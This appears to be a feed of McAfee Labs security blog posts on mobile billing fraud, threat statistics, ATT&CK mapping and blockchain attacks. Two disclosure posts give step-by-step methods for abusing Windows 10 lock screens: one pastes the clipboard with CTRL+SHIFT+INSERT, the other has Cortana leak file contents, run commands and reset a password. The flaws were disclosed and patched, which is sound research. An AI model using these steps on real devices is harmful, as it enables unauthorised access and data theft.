Sonvpay campaigns are one example of how cybercriminals like the AsiaHitGroup Gang constantly adapt their tactics to trick users into subscribing to premium-rate services and boosting their profits. The campaigns started in late 2016 with very simple fake installers that charged users for copies of popular apps. In late 2017, Google Play apps abused WAP-billing services and used IP address geolocation to target specific countries. In 2018, Google Play apps used silent background push notifications to trigger the display of a fake update message and to gather data for mobile billing fraud. We expect that cybercriminals will continue to develop and distribute new billing fraud campaigns to target more countries and affect more users around the world.

Cybercriminals always follow the money, and one of the most effective ways to steal money from users is via billing fraud. A victim will likely not notice a fraudulent charge, for example, until it appears on the mobile bill at the end of the month. Even when the payment is detected early, most of the time the charge is for a subscription rather than a one-time payment. Thus victims will need to find a way to unsubscribe from the premium-rate service, which may not be easy if the subscription occurred silently or if the app does not provide that information. Also, the fact that WAP-billing fraud does not require sending an SMS message to a premium-rate number makes it easier to commit. Cybercriminals need to only silently subscribe users by forcing them to load the WAP-billing service page and click on buttons. For these reasons we expect that mobile billing fraud will continue to target Android users.

McAfee Mobile Security detects this threat as Android/Sonvpay. To protect yourselves from this and similar threats, employ security software on your mobile devices, check user reviews for apps on Google Play, and do not accept or trust apps that ask for payment functionality via SMS messages as soon as the app is opened or without any interaction.

The post AsiaHitGroup Gang Again Sneaks Billing-Fraud Apps Onto Google Play appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/asiahitgroup-gang-again-sneaks-billing-fraud-apps-onto-google-play/feed/ 0
‘McAfee Labs Threats Report’ Spotlights Innovative Attack Techniques, Cryptocurrency Mining, Multisector Attacks https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-spotlights-innovative-attack-techniques-cryptocurrency-mining-multisector-attacks/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-spotlights-innovative-attack-techniques-cryptocurrency-mining-multisector-attacks/#respond Wed, 27 Jun 2018 04:01:07 +0000 https://securingtomorrow.mcafee.com/?p=89357 In the McAfee Labs Threats Report June 2018, published today, we share investigative research and threat statistics gathered by the McAfee Advanced Threat Research and McAfee Labs teams in Q1 of this year.

The post ‘McAfee Labs Threats Report’ Spotlights Innovative Attack Techniques, Cryptocurrency Mining, Multisector Attacks appeared first on McAfee Blogs.

]]>
In the McAfee Labs Threats Report June 2018, published today, we share investigative research and threat statistics gathered by the McAfee Advanced Threat Research and McAfee Labs teams in Q1 of this year. We have observed that although overall new malware has declined by 31% since the previous quarter, bad actors are working relentlessly to develop new technologies and tactics that evade many security defenses.

These are the key campaigns we cover in this report.

  • Deeper investigations reveal that the attack targeting organizations involved in the Pyeongchang Winter Olympics in South Korea used not just one PowerShell implant script, but multiple implants, including Gold Dragon, which established persistence to engage in reconnaissance and enable continued data exfiltration.
  • The infamous global cybercrime ring known as Lazarus has resurfaced. We discovered that the group has launched the Bitcoin-stealing phishing campaign “HaoBao,” which targets the financial sector and Bitcoin users.
  • We are also seeing the emergence of a complex, multisector campaign dubbed Operation GhostSecret, which uses many data-gathering implants. We expect to see an escalation of these attacks in the near future.

Here are some additional findings and insights:

  • Ransomware drops: New ransomware attacks took a significant dive (-32%), largely as a result of an 81% drop in Android lockscreen malware.
  • Cryptojacking makes a comeback: Attackers targeting cryptocurrencies may be moving from ransomware to coin miner malware, which hijacks systems to mine for cryptocurrencies and increase their profits. New coin miner malware jumped an astronomical 1,189% in Q1.
  • LNK outpaces PowerShell: Cybercriminals are increasingly using LNK shortcuts to surreptitiously deliver malware. New PowerShell malware dropped 77% in Q1, while attacks leveraging Microsoft Windows LNK shortcut files jumped 24%.
  • Incidents go global: Overall security incidents rose 41% in Q1, with incidents hitting multiple regions showing the biggest increase, at 67%, and the Americas showing the next largest increase, at 40%.

Get all the details by reading the McAfee Labs Threats Report, June 2018.

The post ‘McAfee Labs Threats Report’ Spotlights Innovative Attack Techniques, Cryptocurrency Mining, Multisector Attacks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-spotlights-innovative-attack-techniques-cryptocurrency-mining-multisector-attacks/feed/ 0
Checking In Halfway: The McAfee Labs 2018 Threats Predictions https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/checking-in-halfway-the-mcafee-labs-2018-threats-predictions/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/checking-in-halfway-the-mcafee-labs-2018-threats-predictions/#respond Tue, 26 Jun 2018 18:26:25 +0000 https://securingtomorrow.mcafee.com/?p=90125 Time flies when you’re fighting cybercrime. Now that’s not exactly how the phrase goes, but for us at McAfee, it’s hard to believe that we’re already almost halfway through 2018. It seems like just yesterday we were predicting the types of cyberthreats we would see throughout this year with our McAfee Labs 2018 Threats Predictions […]

The post Checking In Halfway: The McAfee Labs 2018 Threats Predictions appeared first on McAfee Blogs.

]]>
Time flies when you’re fighting cybercrime. Now that’s not exactly how the phrase goes, but for us at McAfee, it’s hard to believe that we’re already almost halfway through 2018. It seems like just yesterday we were predicting the types of cyberthreats we would see throughout this year with our McAfee Labs 2018 Threats Predictions Report. From the machine learning arms race to the home becoming the ultimate storefront, it looked like we had a quite a year ahead of us. But in reality, not all these predictions can to fruition. And conversely, some unraveled in ways we didn’t imagine. Let’s take a look at what predictions became reality, and what may still lay ahead for the cybersecurity industry in 2018.

The First Half of 2018

Ransomware Pivots to New Targets, New Objectives

The Prediction

In November of last year, we predicted 2018 was going to be colored by ransomware attacks that were anything but ordinary. These attacks could pivot away from traditional, individual extortion, and rather aim to sabotage or disrupt organizations.

The Verdict

Ransomware attacks have seen a pivot, last year we witnessed the WannaCry ransomware attacks, which spread like wildfire to hundreds of thousands of devices, but this year’s ransomware attacks have reshaped their focus, completely moving away from the individual attack. With disruption as an objective, these attacks managed to shut down both critical and personal services. As of June 2018, an Ohio police and fire department, a Minnesota psychiatric provider, and even a family planning clinic have all been victims of a ransomware attack, proving threat actors will stop at almost nothing in order to cause a bit of chaos.

The Adversarial Machine Learning Arms Race Revs Up

The Prediction

Late last year, our Labs team discussed how the influence of machine learning will be felt on both sides of the equation – white hats will ramp up their AI/ML defenses, while cybercriminals will tap into the technology’s power to enact advanced attacks. With machines working for anyone, an arms race would be fueled, and machine-supported actions would increase from both defenders and attackers.

The Verdict

Machine learning and AI are very present in the arsenal of cyber defenders, as the industry has become fairly successful at applying AI to malware detection and user and entity behavior analytics (UEBA) by using deep neural networks and anomaly detection. In fact, the use of this technology and application of human-machine teaming has been cited as a reason top talent will accept a job at a cybersecurity firm in the first place. However, we have yet to see them actively leveraged by cybercriminals in attacks this year.

In lieu of AI, attacks in 2018 have rather used more traditional techniques, but for non-traditional purposes. Just take Operation Honeybee as an example – the attacked leveraged malicious documents, which is typically known as an older attack vector, but set its sights on a unique type of target: humanitarian aid groups. Honeybee also ladders back to a larger trend seen throughout the first half of this year – threats have new targets, and certainly new objectives.

When Your Home Becomes the Ultimate Storefront

The Prediction

The growth of smart home devices is nothing new, but the way they’re leveraged by corporations has changed over time. We predicted 2018 to be no exception, companies creating these devices have powerful incentives to observe what consumers are doing in their homes and learn from their behaviors. We foresaw these corporations exploring new ways to capture consumer data and adjusting terms and conditions in order to avoid getting fined.

The Verdict

The monetization and use of consumer data have been huge topics of discussion in 2018, but not because of the IoT industry yet. Rather, the now infamous Facebook Cambridge Analytica incident stirred up quite the debate earlier this year around what companies are doing with consumer data.

In 2018, IoT devices are being used to spy – but not by corporations. Cybercriminals are continuing to use vulnerable IoT devices to their advantage, swooping data and spying on families as a result of device vulnerabilities. From smart TVs to baby monitors, the handful of IoT attacks in 2018 have proved that these devices still have ways to go when it comes to a solid security posture.

The Next Six Months

Serverless Apps: New Opportunities for Friend and Foe

The Prediction

Cybercriminals will take advantage of convenient opportunities as they arise, which is precisely why our team predicted that threat actors will jump on serverless apps this year, using their greater granularity as a chance to increase the attack surface and steal data in transit across a network.

The Verdict 

As of now, major attacks against serverless apps have yet to be seen. Mind you, it could soon become a reality, as researchers have recently figured out how to turn serverless apps into sources for crypto-mining. These researchers are in the minority, as many IT professionals don’t really understand the new technology and all the cyber risk associated with it – which in itself can pose the biggest risk of all. In fact, many security professionals lack the basic skills required to understand and secure this technology.

Inside Your Child’s Digital Backpack

The Prediction

Children are being introduced to the internet and tech devices earlier than ever before. As exciting as that is, most kids are not properly trained on how to surf the web safely which can pose potential risks to their privacy. This type of exposure led us to predict that in 2018 organizations will begin to collect and leverage digital content generated by children, and parents will be unaware of how much information is out there about their kid.

The Verdict

Though there has been no known incident yet in which a child’s information has been leveraged or compromised, some apps and gadgets have the potential to do so. It was recently reported, that a new app being used by kids is allowing other users to track them by GPS. According to McAfee research, children’s online gaming use could also put them at serious risk of a cyberattack.

Beyond these predictions, there is also a variety of other threats security professionals could be facing in the second half of 2018. Just take VPNFilter, Hidden Cobra, and Gold Dragon for example – all of these attacks have proven that cybercriminals have come out into 2018 swinging. They’re going after high-profile, high stakes industries, and are using deceptive and sly techniques in order to steal information from these targets.

Needless to say, the threat landscape is going to continue to change and evolve throughout 2018. However, no matter how the rest of the year unfolds, we’re confident that cyber defenders are ready to take on any future threat that may come their way.

Hear from our leading researchers from McAfee Labs and Office of the CTO as they share more details into the threat landscape predictions for 2018 in our on-demand webinar.

To learn more about what McAfee is doing to help tackle today’s cyberthreats, be sure to follow us at @McAfee and @McAfee_Labs.

The post Checking In Halfway: The McAfee Labs 2018 Threats Predictions appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/checking-in-halfway-the-mcafee-labs-2018-threats-predictions/feed/ 0
Apply MITRE’s ‘ATT&CK’ Model to Check Your Defenses https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/apply-mitres-attck-model-to-check-your-defenses/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/apply-mitres-attck-model-to-check-your-defenses/#respond Tue, 19 Jun 2018 04:01:25 +0000 https://securingtomorrow.mcafee.com/?p=89338 Every week we read about adversaries attacking their targets as part of online criminal campaigns. Information gathering, strategic advantage, and theft of intellectual property are some of the motivations. Besides these, we have seen during the past two years an increase in attacks in which adversaries are not shy of leaving a trail of destruction. […]

The post Apply MITRE’s ‘ATT&CK’ Model to Check Your Defenses appeared first on McAfee Blogs.

]]>
Every week we read about adversaries attacking their targets as part of online criminal campaigns. Information gathering, strategic advantage, and theft of intellectual property are some of the motivations. Besides these, we have seen during the past two years an increase in attacks in which adversaries are not shy of leaving a trail of destruction. One might wonder how to deal with these kinds of threats and where to start.

Sun Tzu’s The Art of War contains some great wisdom regarding the strategy of warfare. One of the most popular is the advice “If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.”

Applying this advice to information security, let’s focus first on knowing yourself. Knowing yourself can roughly be divided into two parts:

  • What do I have that can be of value to an attacker?
  • How do I detect, protect, and correct any threats to my identified value?

Every company has a value, it takes only one criminal mind to see that and to attempt to exploit it. Ask yourself what the core of your business is, the secret sauce that people might be after, what will take you out of business, whom you are doing business with, who are your clients, etc.

Once you have identified your organization’s value, the second part of knowing yourself comes into play. You must understand where you to focus your defenses and invest in technology to detect and protect against threats.

After wrapping up the knowing yourself part, what can we learn from the enemy? Ask yourself “Who would likely be interested in attacking me?” By going through the list of known adversaries and cybercriminal groups, you can create a list based on which geographies and vectors they target and classify them by risk. Here is a simplified example:

Once you have your list and risk classification ready, you must next study the tactics, techniques, and procedures used by these adversaries. For mapping their techniques and associated campaigns, we use the MITRE Adversarial Tactics, Techniques, and Common Knowledge model (ATT&CK). The matrix covers hundreds of techniques, and can be applied for different purposes. In this case, we will focus on the risk versus mapping the defensive architecture.

In Q1 of 2018, we mapped the targeted attacks discovered by ourselves and our peers in the industry. The following example comes from one adversary we tracked, showing the techniques they used:

With MITRE’s Navigator tool you can select an actor or malware family. After making the selection, the boxes in the matrix show which techniques the actor or malware has used.

From these techniques we can learn how our environments protect against these techniques and where we have gaps. The goal is not to create coverage or signatures for each technique; the matrix helps organizations understand how attackers behave. Having more visibility into their methods leads us to the right responses, and helps us contain and eradicate attacks in a coordinated way. By comparing the multiple actors from your initial risk assessment, you can build the matrix from the perspective of high/medium/low risk and map it against your defenses.

Although some adversaries might not have a history of attacking you and your sector, it is still good to ask yourself “What if we were a target?” Would your environment create enough visibility to detect and deal with these techniques?

Statistics

When we looked at the first quarter, we noticed that the three techniques were the most popular in the category of Privilege Escalation:

  • Exploitation of vulnerability
  • Process injection
  • Valid accounts

To determine your coverage and detection capacity, you should ask if the exploits used completely new vulnerabilities (no patches available) or if they had existed for a while. Would your environment have the right patches installed or are you missing them and have to take action?

When we looked at the categories of Exfiltration and Command and Control, most campaigns exfiltrated their data over a control server channel using a common port. That translates to either TCP port 80 (HTTP) or TCP port 443 (HTTPS). We all use these ports from inside the network to communicate to the internet. What if all my other defenses would fail to discover the suspicious activity? Which defensive components in my network would be able to inspect the outgoing traffic and block or flag the exfiltration attempts?

Conclusion

In this post, we highlighted one approach and application of the ATT&CK model. There are many ways to apply it for red teaming, threat hunting, and other tasks. At McAfee we embrace the model and are applying it to different levels and purposes in our organization. We are not only using it but also contribute to the model by describing newly discovered techniques used by adversaries.

The post Apply MITRE’s ‘ATT&CK’ Model to Check Your Defenses appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/apply-mitres-attck-model-to-check-your-defenses/feed/ 0
Unintended Clipboard Paste Function in Windows 10 Leads to Information Leak in RS1 https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/unintended-clipboard-paste-function-in-windows-10-leads-to-information-leak-in-rs1/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/unintended-clipboard-paste-function-in-windows-10-leads-to-information-leak-in-rs1/#respond Thu, 14 Jun 2018 21:34:15 +0000 https://securingtomorrow.mcafee.com/?p=89683 The McAfee Labs Advanced Threat Research team has been investigating the Windows 10 platform. We have submitted several vulnerabilities already and have disclosed our research to Microsoft. Please refer to our vulnerability disclosure policy for further details or the post from earlier this week on Windows 10 Cortana vulnerabilities. Early last year, a trivial “information leak” […]

The post Unintended Clipboard Paste Function in Windows 10 Leads to Information Leak in RS1 appeared first on McAfee Blogs.

]]>
The McAfee Labs Advanced Threat Research team has been investigating the Windows 10 platform. We have submitted several vulnerabilities already and have disclosed our research to Microsoft. Please refer to our vulnerability disclosure policy for further details or the post from earlier this week on Windows 10 Cortana vulnerabilities.

Early last year, a trivial “information leak” was reported in Windows 10. This technique no longer works on most current builds of Windows 10, but a variation of this simple method works quite well on some versions of Windows 10, specifically RS1 (RedStone 1).

The issue is simple to describe and execute. For a local attack, you can use a physical keyboard; if there is a network vector that would allow one to remotely reach the Windows login screen (such as RDP), you can use the software-based keyboard accessible from the lock screen. On all versions of Windows 10, the “paste” function appears to be intentionally forbidden from the Windows lock screen, including the “Hey Cortana” function. The original finding demonstrated CTRL+V could be used to paste clipboard contents. This is now disabled, even on RS1. However, we have found a way to bypass this restriction using the keyboard shortcut CTRL + SHIFT + INSERT, allowing us to access in plain text the clipboard contents, whatever they may be. While we are continuing to explore this technique to force-copy functions (and access arbitrary content), for now we can access whatever happens to be copied. In the demo this is a password allowing login.


The post Unintended Clipboard Paste Function in Windows 10 Leads to Information Leak in RS1 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/unintended-clipboard-paste-function-in-windows-10-leads-to-information-leak-in-rs1/feed/ 0
Threat Report: Don’t Join Blockchain Revolution Without Ensuring Security https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/threat-report-dont-join-blockchain-revolution-without-ensuring-security/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/threat-report-dont-join-blockchain-revolution-without-ensuring-security/#respond Wed, 13 Jun 2018 13:01:27 +0000 https://securingtomorrow.mcafee.com/?p=89384 On May 19 researchers discovered a series of vulnerabilities in the blockchain-based EOS platform that can lead to remote control over participating nodes. Just four days prior, a mining pool server for the IOT platform HDAC was compromised, impacting the vast majority of miners. In January the largest-ever theft of cryptocurrencies occurred against the exchange […]

The post Threat Report: Don’t Join Blockchain Revolution Without Ensuring Security appeared first on McAfee Blogs.

]]>
On May 19 researchers discovered a series of vulnerabilities in the blockchain-based EOS platform that can lead to remote control over participating nodes. Just four days prior, a mining pool server for the IOT platform HDAC was compromised, impacting the vast majority of miners. In January the largest-ever theft of cryptocurrencies occurred against the exchange Coincheck, resulting in the loss of US$532 million in NEM coin. Due to its increased popularity and profitability cybercriminals have been targeting all things blockchain. McAfee Advanced Threat Research team analysts have now published the McAfee Blockchain Threat Report to explain current threats against the users and implementers of blockchain technologies.

What is Blockchain?

Even if you have not heard of blockchain, you have likely heard of cryptocurrencies, namely Bitcoin, the most popular implementation. In late 2017 Bitcoin reached a value of $20,000 per coin, prompting a lot of interest in the currency—including from cybercriminals. Cryptocurrencies are built on top of blockchain, which records transactions in a decentralized way and enables a trusted “ledger” between trustless participants. Each block in the ledger is linked to the next block, creating a chain. Hence, the system is called a blockchain. The chain enables anyone to validate all transactions without going to an outside source. From this, decentralized currencies such as Bitcoin are possible.

Proof-of-work blockchain. Source: https://bitcoin.org/bitcoin.pdf.

Blockchain Attacks

Attackers have adopted many methods targeting consumers and businesses. The primary attack vectors include phishing, malware, implementation vulnerabilities, and technology. In a phishing scheme in January, Iota cryptocurrency lost $4 million to scams that lasted several months. Malware authors often change their focus. In late 2017 to early 2018 some have migrated from deploying ransomware to cryptomining. They have been found using open-source code such as XMRig for system-based mining and the mining service Coinhive.

Source: McAfee Labs

Implementation vulnerabilities are the flaws introduced when new technologies and tools are built on top of blockchain. The recent EOS attack is one example. In mid-July 2017 Iota suffered an attack that essentially enabled attackers to steal from any wallet. Another currency, Verge, was found with numerous vulnerabilities. Attackers exploiting the vulnerabilities were able to generate coins without spending any mining power.

Known attacks against the core blockchain technology are much more difficult to implement, although they are not unheard of. The most widely known attack is the 51% attack, or majority attack, which enables attackers to create their own chains at will. The group 51 Crew targeted small coins, including Krypton, and held them for ransom. Another attack, known as a Sybil attack, can allow an attacker to completely control a targeted victim’s ledger. Attempts have been made for larger scale Sybil attacks such as one in 2016. 

Dictionary Attacks

Blockchain may be a relatively new technology but that does not mean that old attacks cannot work. Mostly due to insecure user behavior, dictionary attacks can leverage some implementations of blockchain. Brain wallets, or wallets based on weak passwords, are insecure, yet people still use them. These wallets are routinely stolen, as was the case with the nearly BTC60 stolen from the following wallet:

This wallet recorded two transactions as recently as March 5, 2018. One incoming and one outgoing transaction occurred within roughly 15 minutes. Source: https://blockchain.info.

Exchanges Under Attack

The biggest players, and targets, in blockchain are cryptocurrency exchanges. Cryptocurrency exchanges can be thought of as banks in which you users create accounts, manage finances, and even trade currencies including traditional ones. One of the most notable incidents is the attack against Mt. Gox between 2011‒2014 that resulted in $450 million of Bitcoin stolen and led to the liquidation and closure of the company. Coincheck, previously mentioned, survived the attack and began reimbursing victims for their losses in March 2018. Not all recent exchanges fared so well. Bitcurex abruptly closed and led to an official investigation into the circumstances; Youbit suffered two attacks, leading the company into bankruptcy.

An advertisement for the shuttered Polish exchange Bitcurex.

Conclusion 

Blockchain technologies and its users are heavily targeted by profit-driven cybercriminals. Current attackers are changing their tactics and new groups are entering the space. As more businesses look to blockchain to solve their business problems and consumers increasingly rely on these technologies, we must be diligent in understanding where the threats lie to achieve proper and tailored risk management. New implementations must place security at the forefront. Cybercriminals have already enjoyed successes against the users and implementations of blockchain so we must prepare accordingly.

The post Threat Report: Don’t Join Blockchain Revolution Without Ensuring Security appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/threat-report-dont-join-blockchain-revolution-without-ensuring-security/feed/ 0
Want to Break Into a Locked Windows 10 Device? Ask Cortana (CVE-2018-8140) https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/want-to-break-into-a-locked-windows-10-device-ask-cortana-cve-2018-8140/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/want-to-break-into-a-locked-windows-10-device-ask-cortana-cve-2018-8140/#respond Tue, 12 Jun 2018 17:15:28 +0000 https://securingtomorrow.mcafee.com/?p=89585 June’s “Patch Tuesday” (June 12) is here, but it is likely many Windows 10 users have not yet applied these updates.

The post Want to Break Into a Locked Windows 10 Device? Ask Cortana (CVE-2018-8140) appeared first on McAfee Blogs.

]]>
June’s “Patch Tuesday” (June 12) is here, but it is likely many Windows 10 users have not yet applied these updates. If you have not, just be sure not to leave your laptop lying around! The patches in this cycle fix a code execution vulnerability using the default settings for Windows 10 and the “Cortana” voice assistant. We’ll detail how this vulnerability can be used to execute code from the locked screen of a fully patched Windows 10 machine (RS3 at the time of our original submission, and confirmed on RS4 prior to this patch cycle). The vulnerability was submitted to Microsoft as part of the McAfee Labs Advanced Threat Research team’s responsible disclosure policy, on April 23. Attribution for this vulnerability submission goes to Cedric Cochin, Cyber Security Architect and Senior Principal Engineer.

In this post, we will address three vectors of research that have been combined by Microsoft and together represent CVE-2018-8140. The first of these is an information leak, but we’ll culminate with a demo showing full code execution to log in to a locked Windows device!

Using “Hey Cortana!” to Retrieve Confidential Information

Personal digital assistants such as Siri, Alexa, Google Assistant, and Cortana have become commodities in many technologically inclined houses. From telling jokes, to helping with the grocery list, to turning on the kitchen lights, these robotic voices are beginning to feel oddly more and more personal as they expand their roles in our daily lives. However, we should consider the increased risk of built-in digital personal assistants when looking at new attack vectors for laptops, tablets, and smartphones. Our research on Microsoft’s Cortana voice assistant began after reading about the “BadUSB” attacks demonstrated by industry researchers. We decided to take this a step further and ended up finding and reporting to Microsoft several issues related to Cortana.

If you have spoken with Cortana, you may have noticed that “she” is very helpful for a number of simple tasks: providing definitions, or looking up corporations, movies, artists, or athletes. She can even do math! In Windows 10, on the most recent build at the time of submission, we observed that the default settings enable “Hey Cortana” from the lock screen, allowing anyone to interact with the voice-based assistant. This led to some interesting behavior and ultimately vulnerabilities allowing arbitrary code execution.

We begin this analysis with a quick look into Windows indexing. If you have ever opened the advanced view of the Windows Indexing control panel, and navigated to the File Types tab, you will see a long list of file extensions. For each of them you will find details about the associated filter used by the indexing process. Essentially you have the “file properties filter” and several other filters that could all be summarized as “file properties and file content filter.”

This means the index process will crack open the files and index their content, including some strings present in these documents. Let’s keep that in mind for later as we continue.

Using this knowledge, we wanted to try to access the same menu that you would see when using a Cortana search on an unlocked device.

This will come as a surprise and lies at the core of all the issues we found, but simply typing while Cortana starts to listen to a query on a locked device will bring up a Windows contextual menu, as shown below:

On top: the result of typing “pas” in the Cortana search field on an unlocked computer.
Above: the result of asking “Hey Cortana, P A S” and using a whitespace keyboard sequence.

In the preceding example, we queried Cortana for the term pas, no preamble to the question, just speaking the three letters, P. A. S. Why not “pass”? Because Cortana can be quite picky with verbal statements and there is no dictionary definition for “pass,” leading to Cortana inviting us to continue in Edge after unlocking the device. Alternatively, instead of issuing a verbal statement, we could click on the “tap and say” button and just start typing this text, for example.

We now have a contextual menu, displayed on a locked Windows 10 device. What could go wrong?

Remember that all the results presented by Cortana come from indexed files and applications, and that for some applications the content of the file is also indexed. Now we can simply hover over any of the relevant matches. If the match is driven by filename matching, then you will be presented with the full path of the file. If the match is driven by the file content matching, then you may be presented with the content of the file itself.

Keep in mind that the entire user folder structure is indexed, which includes the default location for most documents but also for mappings like OneDrive.

Example of data leakage using voice command with Cortana and the whitespace keyboard sequence.

Armed with this knowledge, you can use your imagination to come up with specific keywords that could be used to start harvesting confidential information from the locked device.

Code Execution from the Windows Lock Screen (User Interaction May be Required)

Next, we asked the question: Could we go a step further and get code execution in the context of the authenticated user? Remember we are using only a combination of voice commands and mouse/touchpad/touchscreen to gain access to the contextual menu at this point. We observed that just by hovering over a file, the full path or content of the file would be displayed. What happens if we were to click on it? That depends on the target. If the file being opened is an application or an executable (such as notepad or calc.exe), the file will run and be accessible only after the user properly logs in. If it is a document, script, or text file, it will be opened by an editor instead of being executed. At this point we can execute various preloaded Windows utilities such as calculator, but we cannot pass any parameters to the command line. We can open scripts including PowerShell, but instead of being executed, they will be opened in a text editor (notepad). The lack of parameters is a limitation for a “live off the land” attack, which uses current tools and content to achieve a malicious purpose; however, there are plenty of malicious activities that could be performed even with these restrictions. For example, many uninstallers will happily remove software without any need for parameters.

Let’s return to our goal: code execution from the lock screen. The only requirement for something to show up in the contextual menu is for it to be indexed.

Public folders indexed by default.

There are multiple ways for an unauthenticated attacker to get results to show up in the index of an authenticated user. One method relies on OneDrive. As the root of the OneDrive directory structure is in the user folder, all the OneDrive content is indexed by default. Basically, if you ever share a folder or file with “edit” rights, the person you share it with, as well as any other recipients of a forwarded link, can now drop a file that will be indexed. With the file indexed we have multiple options to proceed.

Option 1: Drop an Executable File

This method assumes you can write an executable file to the disk; it does not require you to have executed it. Via a phishing attack or another vulnerability, an attacker could drop a backdoor (for example, Cobalt Strike Beacon or Meterpreter) and be in business. If you need to execute the payload as an administrator, you can simply right-click (for a touchscreen this is a longer-hold screen press) and select “Run as administrator.”

When running applications that do not have the Auto-Elevate Privilege, you will trigger a user account control (UAC) prompt and nothing will execute. This could still result in a valid attack because users rarely check the content of the prompt and often proceed through the warning dialog box. The attacker would have to execute the program, and then wait for the authenticated user to log in and finish the job. If the application has auto-elevate privileges, there will be no UAC prompt and the application will execute at high integrity.

This is interesting behavior, but on its own not a very likely attack scenario, so let’s continue to explore our options. Why not simply use a USB key to drop the payload because we have physical access? The content of the USB key is not indexed, so it would not be presented as a result of the search query (although there are other ways to use a USB device; see below).

Option 2: Drop a non-PE Payload

Portable executable (PE) backdoors are great, but can we gain execution with a non-PE payload, for example, a PowerShell script?  We can use the same right-click capability to assist, but with a small twist. The right-click menu is not always the same, even for a given file type.

When you ask Cortana about “PS1,” you will be presented with your indexed PowerShell scripts. A right click will allow you to “open file location” or “copy full path,” but with no means of execution.

If you click on the file as we already mentioned, the file will open in edit mode. Curiously, it will not open the default editor (PowerShell ISE) for PowerShell scripts; instead, it will open the script in notepad. We assume this was intended as a security measure because notepad cannot execute scripts, unlike PowerShell ISE.

The default right-click menu for PS1 files.

Remember we mentioned that Cortana changes results based on your input query? When properly logged in, if you ask Cortana about “txt” using the query “Hey Cortana” followed by the letters “T,” “X,” “T,” she will present you with text documents, Notepad, and the most recent documents open by Notepad. Yet the right-click menu for items in the Recent category is different than the right-click menu for the same item in the Documents category.

At top:the context menu for a Recent item; above: the context menu for a Document item.

We follow a three-step process:

  • Land a PowerShell script in a location that will be indexed
    • Public folder, public share, or OneDrive
  • Execute a search query that will show the document and click on it
    • “Hey Cortana, PS1”
    • Select the PowerShell script you just indexed and left click
    • The PowerShell script opens in Notepad
  • Execute a search query that will show the recent documents, right click, and…
    • Using Cortana, type or search in the contextual menu for “txt”
    • Right click on the PowerShell script in the Recent category under the Apps tab at the top (not Documents)
    • Click “Run with PowerShell”

“Run with PowerShell” right-click menu option for Recent items.

We now have local code execution with the payload of our choosing, without any exploit, even if the device is encrypted, on an up-to-date locked Windows 10 device.

This technique helps us understand some of the differences between apps, documents, extensions, and the way Windows handles them from a locked or unlocked screen. Yet it probably does not represent much of a real-world attack vector. Then again, we are not finished.

Logging into a Locked Device with no User Interaction

Finally, we have local code execution, but with some real limitations. We need to get our payload indexed but we cannot pass command-line parameters. This could be a limiting factor for our PowerShell attack vector because the execution policy may prevent its execution, and without command-line parameters we cannot pass an “-ExecutionPolicy Bypass” (or any other flavor). We would also have to find a way to land a PS1 script on the victim’s box, and have remote access to the physical machine or the login screen.

The techniques we have described so far are far too complicated compared with the simplicity and effectiveness of what comes next.

You recall the use of the keyboard-timing sequence to trigger the contextual search menu from a locked screen while querying Cortana. Any keystroke can trigger the menu from the time when Cortana begins to listen to when the answer is displayed. Press any key at this point; we like to use the spacebar because you cannot backspace and Windows will nicely ignore or trim out the space in its text results anyways. Invoke keyboard input too early or before Cortana is listening and you will be prompted to enter your password; invoke too late and Cortana goes back to sleep or returns normal results without a context menu.

It is not very intuitive to use the keyboard in addition of voice commands, but you can type your search the same way you do on an unlocked device, assuming that you triggered Cortana to listen.

The following screenshot demonstrates this behavior:

  • Trigger Cortana via “Tap and Say” or “Hey Cortana”
  • Ask a question (this is more reliable) such as “What time is it?”
  • Press the space bar, and the context menu appears
  • Press esc, and the menu disappears
  • Press the space bar again, and the contextual menu appears, but this time the search query is empty
  • Start typing (you cannot use backspace). If you make a mistake, press esc and start again.
  • When done (carefully) typing your command, click on the entry in the Command category. (This category will appear only after the input is recognized as a command.)
  • You can always right click and select “Run as Administrator” (but remember the user would have to log in to clear the UAC)

You can use the following example of a simple PowerShell command to test. Enjoy the soothing beeps that demonstrate code execution from a locked device.

What can we do at this point? You name it. Our demo shows a password reset and login on a Windows 10 build, using only this simple technique.

The easiest mitigation technique, in the absence of patching the device (which we strongly recommend), is to turn off Cortana on the lock screen. This week’s Patch Tuesday from Microsoft contains fixes for these issues under CVE-2018-8140.

This concludes our examination of Cortana (at least for now). The McAfee Advanced Threat Research team has a fundamental goal of eliminating critical threats to the hardware and software we use; this month’s patch is a clear step toward furthering that goal. The attack surface created by vocal commands and personal digital assistants requires much more investigation; we are just scratching the surface of the amount of research that should be conducted in this critical area.

A team of several independent researchers also discovered and disclosed this vulnerability around the time of our submission. Additional credit for this discovery goes to: Ron Marcovich, Yuval Ron, Amichai Shulman and Tal Be’ery. Their names are also on the Microsoft disclosure page.

The post Want to Break Into a Locked Windows 10 Device? Ask Cortana (CVE-2018-8140) appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/want-to-break-into-a-locked-windows-10-device-ask-cortana-cve-2018-8140/feed/ 0
